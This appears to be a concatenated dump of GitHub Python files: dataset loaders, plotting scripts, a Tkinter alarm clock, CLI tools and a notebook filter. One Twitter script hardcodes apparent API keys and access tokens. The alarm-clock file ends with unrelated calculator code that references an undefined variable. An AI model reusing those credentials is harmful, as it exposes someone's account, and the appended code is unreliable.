emotion_nms_pred: Default \"None\", if specified should be a Pandas Series object with predicted emotion names. As a result, emotion name will be displayed above image.\n\n random: Defult \"True\", indices will be randomly drawn from “discrete uniform” distribution starting at 0 up to max(len(imgs) otherwise randomly chosen from values passed into \"indices\" argument without replacement.\n\n indices: Default \"None\", if specified \"random\" should be set to \"False\" to draw random images from the variable passed into \"indices\" argument starting at min(len(indices)) up to max(len(indices)) and not using \"discrete uniform\" distribution.\n\n \"\"\"\n\n if random == True:\n indices = np.random.randint(0, len(imgs), size = 15)\n else:\n indices = np.random.choice(list(indices), size = 15, replace = False)\n plt.figure(figsize=(20, 14))\n for index, number in enumerate(indices):\n plt.subplot(3,5, index + 1)\n if (isinstance(emotion_nms_org, type(None)) & isinstance(emotion_nms_pred, type(None))):\n plt.title('Image: ' + str(indices[index]))\n elif (isinstance(emotion_nms_org, type(None)) & ~isinstance(emotion_nms_pred, type(None))):\n plt.title('Image: ' + str(indices[index]) + '\\n' + 'Predicted emotion:' + emotion_nms_pred[indices[index]])\n elif (~isinstance(emotion_nms_org, type(None)) & isinstance(emotion_nms_pred, type(None))):\n plt.title('Image: ' + str(indices[index]) + '\\n' + 'Original emotion: ' + emotion_nms_org[indices[index]])\n else:\n plt.title('Image: ' + str(indices[index]) + '\\n' + 'Original emotion: ' + emotion_nms_org[indices[index]] +\n '\\n' + 'Predicted emotion:' + emotion_nms_pred[indices[index]])\n show_image = imgs[number].reshape(48,48)\n plt.axis('off')\n plt.imshow(show_image, cmap='gray')\n\nshow_random(images, emotion_nms_org= fer2021_data['emotion_name'])\n","repo_name":"chenghanc/Emotion2","sub_path":"preprocess_csv_affectnet.py","file_name":"preprocess_csv_affectnet.py","file_ext":"py","file_size_in_byte":3439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"43337933985","text":"from __future__ import print_function, division\nimport os, sys\nimport torch\nimport random\nimport torch.nn.functional as F\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom torch.utils.data import Dataset, DataLoader\nfrom src.utils.show_image import show_image\nfrom src.utils.gUtils import mkdir_nested\nfrom src.utils.torchUtils import worker_seed_set\nfrom skimage.util import img_as_ubyte, img_as_float\nfrom src.Dataset.transforms import MResize, resize, REQUIRED_TRANSFORMS, TRAIN_AUGMENTATION, TEST_TRANSFORMS\nfrom src.utils.augUtil import draw_rect\n\n\ndef prepare_TrainValidate_data(inp_path, out_path, ratio=0.8, seed=None):\n x_t = np.load(os.path.join(inp_path, \"x_train.npy\"))\n y_t = np.load(os.path.join(inp_path, \"y_train.npy\"), allow_pickle=True)\n size = x_t.shape[0]\n if not seed:\n seed = 0\n # generate indices\n np.random.seed(seed)\n all_indices = np.arange(size)\n shuffledIndices = np.random.permutation(all_indices)\n trainIndices = shuffledIndices[0 : int(ratio * size)]\n Ktrain_x = x_t[trainIndices, ...]\n Ktrain_y = y_t[trainIndices, ...]\n validateIndices = shuffledIndices[int(ratio * size) : :]\n Kvalidate_x = x_t[validateIndices, ...]\n Kvalidate_y = y_t[validateIndices, ...]\n\n validate_path = os.path.join(os.path.join(out_path, \"validate\"))\n train_path = os.path.join(os.path.join(out_path, \"train\"))\n if not os.path.exists(validate_path):\n mkdir_nested(validate_path)\n if not os.path.exists(train_path):\n mkdir_nested(train_path)\n\n k2dTrain = open(os.path.join(out_path, \"k2dTrain.txt\"), \"w\")\n for index in range(Ktrain_x.shape[0]):\n trainNameX = \"k2d_trainX_{:02d}.npy\".format(index)\n np.save(os.path.join(train_path, trainNameX), Ktrain_x[index, ...], allow_pickle=True)\n trainNameY = \"k2d_trainY_{:02d}.npy\".format(index)\n item = Ktrain_y[index]\n classes = np.array(item[\"classes\"]).reshape((-1, 1))\n bb = item[\"boxes\"]\n bb = np.array([b.tolist() for b in bb])\n if bb.shape[0] == 0 or classes.shape[0] == 0:\n continue\n\n k2dTrain.write(trainNameX)\n k2dTrain.write(\"\\n\")\n labels = np.concatenate((classes, bb), axis=1)\n # fig, ax = plt.subplots(1, 1)\n # ax.imshow(draw_rect(Ktrain_x[index, ...], labels[:, 1:5]))\n # plt.show()\n np.save(os.path.join(train_path, trainNameY), labels, allow_pickle=True)\n k2dTrain.close()\n\n k2dValidate = open(os.path.join(out_path, \"k2dValidate.txt\"), \"w\")\n for index in range(Kvalidate_x.shape[0]):\n validNameX = \"k2d_validX_{:02d}.npy\".format(index)\n np.save(os.path.join(validate_path, validNameX), Kvalidate_x[index, ...], allow_pickle=True)\n validNameY = \"k2d_validY_{:02d}.npy\".format(index)\n item = Kvalidate_y[index]\n classes = np.array(item[\"classes\"]).reshape((-1, 1))\n bb = item[\"boxes\"]\n bb = np.array([b.tolist() for b in bb])\n if bb.shape[0] == 0 or classes.shape[0] == 0:\n continue\n k2dValidate.write(validNameX)\n k2dValidate.write(\"\\n\")\n labels = np.concatenate((classes, bb), axis=1)\n np.save(os.path.join(validate_path, validNameY), labels, allow_pickle=True)\n k2dValidate.close()\n\n\ndef prepare_test_data(inp_path, out_path):\n\n test_path = os.path.join(os.path.join(out_path, \"test\"))\n if not os.path.exists(test_path):\n mkdir_nested(test_path)\n\n x_test = np.load(os.path.join(inp_path, \"x_test.npy\"), allow_pickle=True)\n k2dTest = open(os.path.join(out_path, \"k2dTest.txt\"), \"w\")\n\n for index in range(x_test.shape[0]):\n testNameX = \"k2d_TestX_{:02d}.npy\".format(index)\n np.save(os.path.join(test_path, testNameX), x_test[index, ...], allow_pickle=True)\n\n k2dTest.write(testNameX)\n k2dTest.write(\"\\n\")\n\n k2dTest.close()\n\n\ndef dataloader_factory(\n data_path, mode=\"Train\", n_cpu=4, batch_size=1, img_size=416, multiscale_training=False, max_num_of_imgs=None\n):\n \"\"\"[factory for dataloader training or validation]\n Args:\n data_path ([str]): path to data directory\n batch_size ([int]): number of batches\n n_cpu ([int]): cpu threads: Defaults to 4.\n img_size (int, optional): Defaults to 416.\n mode (str, optional):[one of Train , Validate, test-test test-train] Defaults to \"Train\".\n multiscale_training (bool, optional): [just for training]. Defaults to False.\n\n Returns:\n [dataloader]\n \"\"\"\n assert mode in [\"Train\", \"Validate\", \"test-test\", \"test-train\"]\n if mode in [\"test-test\", \"test-train\"]:\n dataset = KITTI2D_Test(\n path=data_path,\n image_size=img_size,\n mode=mode,\n max_num_of_imgs=max_num_of_imgs,\n transform=TEST_TRANSFORMS,\n )\n\n dataloader = DataLoader(\n dataset,\n batch_size=1,\n num_workers=n_cpu,\n pin_memory=True,\n shuffle=False,\n )\n return dataloader\n\n transform = REQUIRED_TRANSFORMS if mode == \"Validate\" else TRAIN_AUGMENTATION\n\n dataset = KITTI2D(\n path=data_path, image_size=img_size, mode=mode, transform=transform, multiscale=multiscale_training\n )\n\n dataloader = DataLoader(\n dataset,\n batch_size=batch_size,\n num_workers=n_cpu,\n pin_memory=True,\n collate_fn=dataset.collate_fn,\n shuffle=True if mode == \"Train\" else False,\n worker_init_fn=worker_seed_set if mode == \"Train\" else None,\n )\n return dataloader\n\n\nclass KITTI2D_Test(Dataset):\n \"\"\"KITTI2D test dataset.\"\"\"\n\n def __init__(self, path, image_size=416, mode=\"test-test\", max_num_of_imgs=None, transform=None):\n \"\"\" \"\"\"\n assert mode == \"test-test\" or mode == \"test-train\", \"expected test-test or test-train as mode got: {}\".format(\n mode\n )\n self.path = path\n self.image_size = image_size\n self.mode = mode\n self.transform = transform\n self.max_num_of_imgs = max_num_of_imgs\n self._load_file_names()\n\n def __len__(self):\n if self.max_num_of_imgs:\n return min(self.max_num_of_imgs, len(self.filenames))\n return len(self.filenames)\n\n def _load_file_names(self):\n _path = \"\"\n if self.mode == \"test-test\":\n _path = os.path.join(self.path, \"k2dTest.txt\")\n else:\n _path = os.path.join(self.path, \"k2dTrain.txt\")\n\n names_txt = open(_path, \"r\")\n self.filenames = names_txt.readlines()\n\n def _get_file_path(self, idx):\n name = self.filenames[idx % len(self.filenames)].rstrip()\n if self.mode == \"test-test\":\n return os.path.join(self.path, \"test/\" + name)\n else:\n return os.path.join(self.path, \"train/\" + name)\n\n def _load_data(self, idx):\n path = self._get_file_path(idx)\n print(f\"{idx}: {path}\")\n self.x = np.load(path, allow_pickle=True)\n return path, self.x\n\n def __getitem__(self, idx):\n if torch.is_tensor(idx):\n idx = idx.tolist()\n\n img_path, raw_image = self._load_data(idx)\n\n # Label Placeholder just for making transformation work!\n labels = np.zeros((1, 5))\n\n resizer = MResize(self.image_size)\n image, labels = resizer(raw_image, labels)\n\n if self.transform:\n image, labels = self.transform((image, labels))\n\n return img_path, image\n\n\nclass KITTI2D(Dataset):\n \"\"\"KITTI2D train and validate dataset.\"\"\"\n\n def __init__(\n self,\n path,\n mode=\"Train\",\n image_size=416,\n max_objects=50,\n transform=None,\n multiscale=False,\n max_num_of_imgs=None,\n ):\n \"\"\" \"\"\"\n assert (\n mode == \"Train\" or mode == \"Validate\" or mode == \"Test\"\n ), \"expected Train or Validate as mode got: {}\".format(mode)\n self.path = path\n self.mode = mode\n self.image_size = image_size\n self.transform = transform\n self.multiscale = multiscale\n self.max_num_of_imgs = max_num_of_imgs\n self.min_size = self.image_size - 2 * 32\n self.max_size = self.image_size + 2 * 32\n self.max_objects = max_objects\n self.batch_count = 0\n self._load_file_names()\n\n def _load_file_names(self):\n _path = \"\"\n if self.mode == \"Validate\":\n _path = os.path.join(self.path, \"k2dValidate.txt\")\n if self.mode == \"Train\":\n _path = os.path.join(self.path, \"k2dTrain.txt\")\n\n names_txt = open(_path, \"r\")\n self.filenames = names_txt.readlines()\n\n def _get_file_path(self, idx):\n nameX = self.filenames[idx % len(self.filenames)].rstrip()\n exploded = nameX.split(\"_\")\n nameY = exploded[0] + \"_\" + exploded[1].replace(\"X\", \"Y\") + \"_\" + exploded[2]\n if self.mode == \"Train\":\n return {\"x\": os.path.join(self.path, \"train/\" + nameX), \"y\": os.path.join(self.path, \"train/\" + nameY)}\n if self.mode == \"Validate\":\n return {\n \"x\": os.path.join(self.path, \"validate/\" + nameX),\n \"y\": os.path.join(self.path, \"validate/\" + nameY),\n }\n\n def _load_data(self, idx):\n paths = self._get_file_path(idx)\n self.x = np.load(paths[\"x\"], allow_pickle=True)\n # converto dtype('uint8') for augmentation\n self.x = img_as_ubyte(self.x)\n self.y = np.load(paths[\"y\"], allow_pickle=True)\n\n def __len__(self):\n if self.max_num_of_imgs:\n return min(self.max_num_of_imgs, len(self.filenames))\n return len(self.filenames)\n\n def collate_fn(self, batch):\n images, labels = list(zip(*batch))\n # Remove empty placeholder targets\n imgs = torch.stack([img for img in images])\n\n # Selects new image size every tenth batch\n if self.multiscale and self.batch_count % 10 == 0:\n self.image_size = random.choice(range(self.min_size, self.max_size + 1, 32))\n # Resize images to input shape\n imgs = torch.stack([resize(img, self.image_size) for img in imgs])\n\n # Add sample index to targets\n for idx, boxes in enumerate(labels):\n boxes[:, 0] = idx\n labels = torch.cat(labels, 0)\n\n return imgs, labels\n\n def _prepare(self, image, labels):\n\n # resizer = tr.Resize(self.image_size)\n\n # resizedImg, resizedBBoxes = resizer(image, labels)\n # calculate yolov variables for bbx:\n\n _labels = np.zeros((len(self.y), 5))\n for idx, bbox in enumerate(labels):\n xc = (bbox[2] + bbox[4]) / 2.0\n yc = (bbox[1] + bbox[3]) / 2.0\n w = bbox[4] - bbox[2]\n h = bbox[3] - bbox[1]\n _labels[idx, ...] = np.array([bbox[0], xc, yc, w, h])\n\n # image, labels = get_relative_labels((image, _labels))\n\n return image, _labels\n\n def __getitem__(self, idx):\n if torch.is_tensor(idx):\n idx = idx.tolist()\n\n self._load_data(idx)\n raw_image = self.x\n raw_labels = self.y\n\n image, labels = self._prepare(raw_image, raw_labels)\n\n if self.transform:\n image, labels = self.transform((image, labels))\n\n return image, labels\n\n\nif __name__ == \"__main__\":\n curr_path = os.getcwd()\n sys.path.append(curr_path)\n\n path = \"data\"\n\n # create_TrainValidate_Sets(path)\n # create_Test_Set(path)\n\n traindataset = KITTI2D(path=path, mode=\"Train\")\n\n for idx, (image, labels) in enumerate(traindataset):\n # # # show_image((images, labels))\n print(idx)\n fig, ax = plt.subplots(1, 1)\n ax.imshow(draw_rect(img_as_float(image), labels[:, 1:5], rectype=\"xywh\"))\n plt.show()\n","repo_name":"kurosh-z/project_detection","sub_path":"src/Dataset/KITTI2D_Dataset.py","file_name":"KITTI2D_Dataset.py","file_ext":"py","file_size_in_byte":11775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"1033307449","text":"from tkinter import *\r\nimport datetime\r\nimport time\r\nimport winsound\r\n\r\ndef alarm(set_alarm_timer):\r\n while True:\r\n time.sleep(1)\r\n current_time = datetime.datetime.now()\r\n now = current_time.strftime(\"%H:%M:%S\")\r\n date = current_time.strftime(\"%d/%m/%Y\")\r\n print(\"The Set Date is:\",date)\r\n print(now)\r\n if now == set_alarm_timer:\r\n print(\"Time to Wake up\")\r\n winsound.PlaySound(\"Alarm02.wav\",winsound.SND_ASYNC)\r\n break\r\n\r\ndef actual_time():\r\n set_alarm_timer = f\"{hour.get()}:{min.get()}:{sec.get()}\"\r\n alarm(set_alarm_timer)\r\n\r\nclock = Tk()\r\nclock.title(\"DataFlair Alarm Clock\")\r\nclock.geometry(\"400x200\")\r\ntime_format=Label(clock, text= \"Enter time in 24 hour format!\", fg=\"red\",bg=\"black\",font=\"Arial\").place(x=60,y=120)\r\naddTime = Label(clock,text = \"Hour Min Sec\",font=60).place(x = 110)\r\nsetYourAlarm = Label(clock,text = \"When to wake you up\",fg=\"blue\",relief = \"solid\",font=(\"Helevetica\",7,\"bold\")).place(x=0, y=29)\r\n\r\n# The Variables we require to set the alarm(initialization):\r\nhour = StringVar()\r\nmin = StringVar()\r\nsec = StringVar()\r\n\r\n#Time required to set the alarm clock:\r\nhourTime= Entry(clock,textvariable = hour,bg = \"pink\",width = 15).place(x=110,y=30)\r\nminTime= Entry(clock,textvariable = min,bg = \"pink\",width = 15).place(x=150,y=30)\r\nsecTime = Entry(clock,textvariable = sec,bg = \"pink\",width = 15).place(x=200,y=30)\r\n\r\n#To take the time input by user:\r\nsubmit = Button(clock,text = \"Set Alarm\",fg=\"red\",width = 10,command = actual_time).place(x =110,y=70)\r\n\r\nclock.mainloop()\r\n#Execution of the window.\r\n\r\n#adding the input field\r\ndisplay = Entry(root)\r\ndisplay.grid(row=1,columnspan=6,sticky=N+E+W+S)\r\n \r\n#Code to add buttons to the Calculator\r\nButton(root,text=\"1\",command = lambda :get_variables(1)).grid(row=2,column=0, sticky=N+S+E+W)\r\nButton(root,text=\" 2\",command = lambda :get_variables(2)).grid(row=2,column=1, sticky=N+S+E+W)\r\nButton(root,text=\" 3\",command = lambda :get_variables(3)).grid(row=2,column=2, sticky=N+S+E+W)\r\n \r\nButton(root,text=\"4\",command = lambda :get_variables(4)).grid(row=3,column=0, sticky=N+S+E+W)\r\nButton(root,text=\" 5\",command = lambda :get_variables(5)).grid(row=3,column=1, sticky=N+S+E+W)\r\nButton(root,text=\" 6\",command = lambda :get_variables(6)).grid(row=3,column=2, sticky=N+S+E+W)\r\n \r\nButton(root,text=\"7\",command = lambda :get_variables(7)).grid(row=4,column=0, sticky=N+S+E+W)\r\nButton(root,text=\" 8\",command = lambda :get_variables(8)).grid(row=4,column=1, sticky=N+S+E+W)\r\nButton(root,text=\" 9\",command = lambda :get_variables(9)).grid(row=4,column=2, sticky=N+S+E+W)\r\n \r\n#adding other buttons to the calculator\r\nButton(root,text=\"AC\",command=lambda :clear_all()).grid(row=5,column=0, sticky=N+S+E+W)\r\nButton(root,text=\" 0\",command = lambda :get_variables(0)).grid(row=5,column=1, sticky=N+S+E+W)\r\nButton(root,text=\" .\",command=lambda :get_variables(\".\")).grid(row=5, column=2, sticky=N+S+E+W)\r\n \r\n \r\nButton(root,text=\"+\",command= lambda :get_operation(\"+\")).grid(row=2,column=3, sticky=N+S+E+W)\r\nButton(root,text=\"-\",command= lambda :get_operation(\"-\")).grid(row=3,column=3, sticky=N+S+E+W)\r\nButton(root,text=\"*\",command= lambda :get_operation(\"*\")).grid(row=4,column=3, sticky=N+S+E+W)\r\nButton(root,text=\"/\",command= lambda :get_operation(\"/\")).grid(row=5,column=3, sticky=N+S+E+W)\r\n \r\n# adding new operations\r\nButton(root,text=\"pi\",command= lambda :get_operation(\"*3.14\")).grid(row=2,column=4, sticky=N+S+E+W)\r\nButton(root,text=\"%\",command= lambda :get_operation(\"%\")).grid(row=3,column=4, sticky=N+S+E+W)\r\nButton(root,text=\"(\",command= lambda :get_operation(\"(\")).grid(row=4,column=4, sticky=N+S+E+W)\r\nButton(root,text=\"exp\",command= lambda :get_operation(\"**\")).grid(row=5,column=4, sticky=N+S+E+W)\r\n \r\nButton(root,text=\"<-\",command= lambda :undo()).grid(row=2,column=5, sticky=N+S+E+W)\r\nButton(root,text=\"x!\", command= lambda: fact()).grid(row=3,column=5, sticky=N+S+E+W)\r\nButton(root,text=\")\",command= lambda :get_operation(\")\")).grid(row=4,column=5, sticky=N+S+E+W)\r\nButton(root,text=\"^2\",command= lambda :get_operation(\"**2\")).grid(row=5,column=5, sticky=N+S+E+W)\r\nButton(root,text=\"^2\",command= lambda :get_operation(\"**2\")).grid(row=5,column=5, sticky=N+S+E+W)\r\nButton(root,text=\"=\",command= lambda :calculate()).grid(columnspan=6, sticky=N+S+E+W)\r\n\r\n\r\n","repo_name":"RISHABH-GUPTA-RG/Python-Training","sub_path":"Miscellaneous/DataFlair-Alarm-Clock.py","file_name":"DataFlair-Alarm-Clock.py","file_ext":"py","file_size_in_byte":4328,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"37852553235","text":"import argparse\nfrom .yaml import Yaml\n\n\ndef parse_args():\n \"\"\"\n Load the YAML file path as a positional argument\n\n \"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument(\n 'yaml',\n metavar='yaml path',\n type=str,\n nargs=1,\n help='The yaml file to parse'\n )\n parser.add_argument(\n '-q',\n action='store_true',\n help='Quiet mode'\n )\n parser.add_argument(\n '--noenv',\n action='store_true',\n help='Whether to look for variables in environment values'\n )\n args = parser.parse_args().__dict__\n yaml_path = args['yaml'][0]\n quiet = args['q']\n noenv = args['noenv']\n return yaml_path, quiet, noenv\n\n\ndef run():\n \"\"\"\n Load variables from YAML file and run script\n\n \"\"\"\n args = parse_args()\n yaml = Yaml(*args)\n yaml.parse_structure()\n yaml.parse_variables()\n yaml.run_script()\n\n\nif __name__ == \"__main__\":\n run()","repo_name":"JulianFerry/yamlrun","sub_path":"yamlrun/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"8945318369","text":"import argparse\nimport numpy as np\nfrom numpy.random import default_rng\nimport matplotlib.pyplot as plt\n\nfrom gameoflife import GameOfLife\n\nparser = argparse.ArgumentParser(\n description=\"plot the evolution of a given number of Conways Games of Life over a given number of generations\",\n epilog=\"the final plot will contain the average of the population with and without an elite, for comparisson purposes\",\n)\n\nparser.add_argument(\"height\", type=int, help=\"the height of the game\")\nparser.add_argument(\"width\", type=int, help=\"the width of the game\")\n\nparser.add_argument(\n \"-n\",\n type=int,\n nargs=\"?\",\n default=10,\n const=10,\n help=\"the number of games in the plot\",\n)\n\nparser.add_argument(\n \"-g\",\n type=int,\n nargs=\"?\",\n default=20,\n const=20,\n help=\"the number of generations of each game in the plot\",\n)\n\nparser.add_argument(\n \"-t\",\n \"--type\",\n type=str,\n nargs=\"?\",\n default=\"moore\",\n const=\"moore\",\n help=\"the type of the games. Could be 'moore' or 'vonneumann'\",\n)\n\nparser.add_argument(\n \"-o\",\n \"--order\",\n type=int,\n nargs=\"?\",\n default=1,\n const=1,\n help=\"the order of the neighborhood to be considered in the calculations\",\n)\n\nparser.add_argument(\n \"-e\",\n \"--elite\",\n type=float,\n nargs=\"?\",\n default=0.05,\n const=0.05,\n help=\"the proportion of the alive individuals that will be randomly promoted to immortals. The default values is 5\",\n)\n\nparser.add_argument(\n \"-x\",\n \"--expec\",\n type=int,\n nargs=\"?\",\n default=5,\n const=5,\n help=\"after this number of generations the immortals will be randomly chosen again. The default value is 5\",\n)\n\nparser.add_argument(\n \"-f\",\n \"--file\",\n type=str,\n nargs=\"?\",\n default=\"plot.png\",\n const=\"plot.png\",\n help=\"name of the output file. Default is plot.png\",\n)\n\nparser.add_argument(\n \"-d\",\n \"--dpi\",\n type=int,\n nargs=\"?\",\n default=200,\n const=200,\n help=\"dpi of the image file\",\n)\n\nargs = parser.parse_args()\n\nn_of_games = args.n\ngens = args.g\nshape = args.height, args.width\nntype = args.type\nnorder = args.order\nelite = args.elite\nexpec = args.expec\nfilename = args.file\ndpi = args.dpi\n\nrng = default_rng()\n\n\ndef main():\n\n series = np.ndarray(shape=(n_of_games, gens), dtype=int)\n series_elite = np.ndarray(shape=(n_of_games, gens), dtype=int)\n games = []\n games_elite = []\n\n for i in range(n_of_games):\n state = rng.choice([0, 1], size=shape)\n games.append(GameOfLife(state, norder, ntype))\n games_elite.append(GameOfLife(state, norder, ntype, elite, norder))\n\n series_tuple = (series, series_elite)\n games_tuple = (games, games_elite)\n\n for gen in range(gens):\n print(f\"Computing generation {gen + 1} of {gens}\")\n for i in range(n_of_games):\n for s, g in zip(series_tuple, games_tuple):\n s[i][gen] = g[i].count_alive()\n g[i].update()\n\n print(\"Ploting series\")\n\n fig, ax = plt.subplots()\n\n if ntype == \"vonneumann\":\n neigh_name = \"Von Neumann\"\n else:\n neigh_name = \"Moore\"\n\n ax.set(\n xlim=(1, gens),\n xticks=range(1, gens + 1),\n ylabel=\"Alive Population\",\n xlabel=\"Generation\",\n title=f\"Average Population of {n_of_games} {shape[0]} by {shape[1]} Games\\n\"\n f\"Using {neigh_name} Neighborhood of Order {norder}\",\n )\n\n t = np.arange(1, gens + 1)\n color_tuple = (\"blue\", \"red\")\n label_tuple = (\"No elite\", \"Elite\")\n\n for i in range(n_of_games):\n for s, c, l in zip(series_tuple, color_tuple, label_tuple):\n ax.plot(t, s[i], color=c, label=l, lw=0.7, alpha=0.3, antialiased=True)\n ax.plot(\n t, np.mean(s, axis=0), color=c, label=l + \" average\", antialiased=True\n )\n\n handles, labels = ax.get_legend_handles_labels()\n new_labels, new_handles = [], []\n\n for handle, label in zip(handles, labels):\n if label not in new_labels:\n new_labels.append(label)\n new_handles.append(handle)\n\n plt.legend(new_handles, new_labels, loc=\"upper right\")\n\n print(f\"Saving image on {filename}\")\n\n plt.savefig(filename, dpi=dpi)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"davifeliciano/game_of_life","sub_path":"plots.py","file_name":"plots.py","file_ext":"py","file_size_in_byte":4248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32469161242","text":"CONSUMER_KEY = 'ugvKFlivkUGVqgLJgZwYd2gum'\nCONSUMER_SECRET_KEY = 'AYKmdB63cNIOtgFL3OCUxNGlvvraaaUZWw6eBS5u5sDtBskz5E'\nACCESS_TOKEN = '838108225-Y7apkNK1Uopxf3e2imJtlUdWzYG2m61YSgbi64ze'\nACCESS_TOKEN_SECRET = '31MFA0GLgVaXQcHsMMvHNWBIPr0FrsGGyMUtzQyfgtyjy'\n\nfrom twitter import *\n\nt = Twitter(auth=OAuth(ACCESS_TOKEN, ACCESS_TOKEN_SECRET, CONSUMER_KEY, CONSUMER_SECRET_KEY))\n\ntimelines = t.statuses.home_timeline()\n\nfor timelime in timelines:\n tl = '({id})[{username}]:{text}'.format(id=timelime['id'], username=timelime['user']['name'], text=timelime['text'])\n print(tl)","repo_name":"taka-yoko/ponta2016","sub_path":"timeline.py","file_name":"timeline.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"40133845317","text":"import logging\n\nfrom telethon import TelegramClient\n\nfrom tgpy.context import Context\nfrom tgpy.version import __version__\n\nlogging.basicConfig(\n format='[%(asctime)s] [%(name)s] [%(levelname)s] %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S',\n level=logging.INFO,\n)\nlogging.getLogger('telethon').setLevel(logging.WARNING)\n\n\nclass App:\n client: TelegramClient\n ctx: Context\n\n def __init__(self):\n self.ctx = Context()\n\n\napp = App()\n\n__all__ = ['App', 'app']\n","repo_name":"tm-a-t/TGPy","sub_path":"tgpy/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"18"} +{"seq_id":"27171531561","text":"import torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nfrom torchvision import datasets, models, transforms\nimport os\n\nfrom torch.utils.data import dataloader, Dataset\nfrom PIL import Image\nimport json\nimport numpy as np\n\nclass Blender(Dataset):\n \"\"\"\n Images in database.\n \"\"\"\n\n def __init__(self, data_dir, model_name, half_res, white_bkgd, transform=None):\n super().__init__()\n\n self.data_dir = data_dir\n self.model_name=model_name\n self.half_res=half_res\n self.white_bkgd=white_bkgd\n self.transform = transform\n self.imgs = []\n self.poses = []\n self.img_paths = []\n meta = {}\n with open(os.path.join(data_dir, str(model_name), 'transforms.json'), 'r') as fp:\n meta[\"train\"] = json.load(fp)\n for frame in meta[\"train\"]['frames']:\n fname = os.path.join(data_dir, str(model_name), frame['file_path'])\n img = Image.open(fname).convert('RGB')\n img = (np.array(img) / 255.).astype(np.float32)\n if self.white_bkgd and img.shape[-1]==4:\n img = img[..., :3] * img[..., -1:] + (1. - img[..., -1:])\n else:\n img = img[..., :3]\n img = np.asarray(img*255, dtype=np.uint8)\n # img = tensorify(img)\n pose = (np.array(frame['transform_matrix']))\n pose = np.array(pose).astype(np.float32)\n self.imgs.append(img)\n self.poses.append(pose)\n self.img_paths.append(fname)\n\n def __getitem__(self, index):\n \n image_path = self.img_paths[index]\n image = self.imgs[index]\n pose = self.poses[index]\n\n if self.transform is not None:\n image = self.transform(image)\n\n return image, pose, image_path\n\n def __len__(self):\n return len(self.img_paths)\n\n","repo_name":"EricLee0224/PAD","sub_path":"datasets/Blender.py","file_name":"Blender.py","file_ext":"py","file_size_in_byte":1932,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"18"} +{"seq_id":"21470006696","text":"from django import forms\nfrom institute.models import Institute\n\n\nclass InstituteAddForm(forms.ModelForm):\n\n def __init__(self, *args, **kwargs):\n super(InstituteAddForm, self).__init__(*args, **kwargs)\n for visible in self.visible_fields():\n visible.field.widget.attrs['class'] = 'form-control'\n\n\n class Meta:\n model = Institute\n fields = \"__all__\"\n\n\n\n","repo_name":"codingspider/Schoolscript","sub_path":"School/teste/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"39513324270","text":"from twip import twitter_client\n\ndef make_it_so():\n client = twitter_client()\n results = client.user_timeline(trim_user = True, exclude_replies = False, include_rts = True, count = 20)\n replies = [r for r in results if r.in_reply_to_status_id]\n if replies:\n return replies[0].in_reply_to_status_id\n else:\n return None\n","repo_name":"compjour/compjour-class-site","sub_path":"source/files/code/bots/birthdayquotes/historian.py","file_name":"historian.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"32969143469","text":"#!/usr/bin/env python3\n# Modified from:\n# https://gist.githubusercontent.com/gab50000/4ce3a2c59e5100a5f21338292fb96aa3/raw/722cb4a1d656279e260b52d3d62740d0a138f1fc/filter.py\n \nimport os\nimport sys\nimport argparse\nimport json\nfrom copy import deepcopy\n\ndef contained_tags(list_of_tags, cell):\n if \"tags\" not in cell[\"metadata\"]:\n return []\n return [tag for tag in list_of_tags if tag in cell[\"metadata\"][\"tags\"]]\n \n\n\ndef read_notebook(fname):\n with open(fname, \"r\") as f:\n data = json.load(f)\n return data\n\n\ndef write_notebook(fname,data):\n with open(fname, \"w+\") as f:\n json.dump(data, f)\n\n\n\n\n\ndef filter_notebook_ie(data,include_tags=None,exclude_tags=None,\n return_idx=True,return_data=True):\n\n if return_data == True: data = deepcopy(data)\n\n if include_tags:\n include_idx = filter_notebook_data(data,include_tags,\n exclude=False,return_idx=True)\n else:\n include_idx = []\n\n if exclude_tags:\n exclude_idx = filter_notebook_data(data,exclude_tags,\n exclude=False,return_idx=True)\n else:\n exclude_idx = []\n\n\n keepidx = include_idx + exclude_idx\n \n if return_data == False:\n return keepidx\n else:\n result = []\n for cell_it,cell in enumerate(data[\"cells\"]):\n if cell_it in keepidx:\n result.append(cell)\n data['cells'] = result\n\n return keepidx,data\n\n\ndef filter_notebook_data(data, list_of_tags, exclude=False,return_idx=False):\n\n if return_idx==False: data = deepcopy(data)\n\n include = not exclude\n result = []\n for cell_it,cell in enumerate(data[\"cells\"]):\n if any(contained_tags(list_of_tags, cell)):\n if include:\n if return_idx:\n result.append(cell_it)\n else:\n result.append(cell)\n elif exclude:\n if return_idx:\n result.append(cell_it)\n else:\n result.append(cell)\n\n if return_idx:\n return result\n else:\n data[\"cells\"] = result\n return data\n\n\n\n\n\n\"\"\"\ndef main():\n parser = argparse.ArgumentParser(\"Filter Notebook using tags\")\n parser.add_argument(\"file\", help=\"Jupyter Notebook file\")\n parser.add_argument(\"tags\", nargs=\"+\", help=\"List of tags\")\n parser.add_argument(\"--exclude\", action=\"store_true\", help=\"Exclude list of tags\")\n parser.set_defaults()\n args = parser.parse_args()\n\n result = filter_notebook(args.file, args.tags, args.exclude)\n 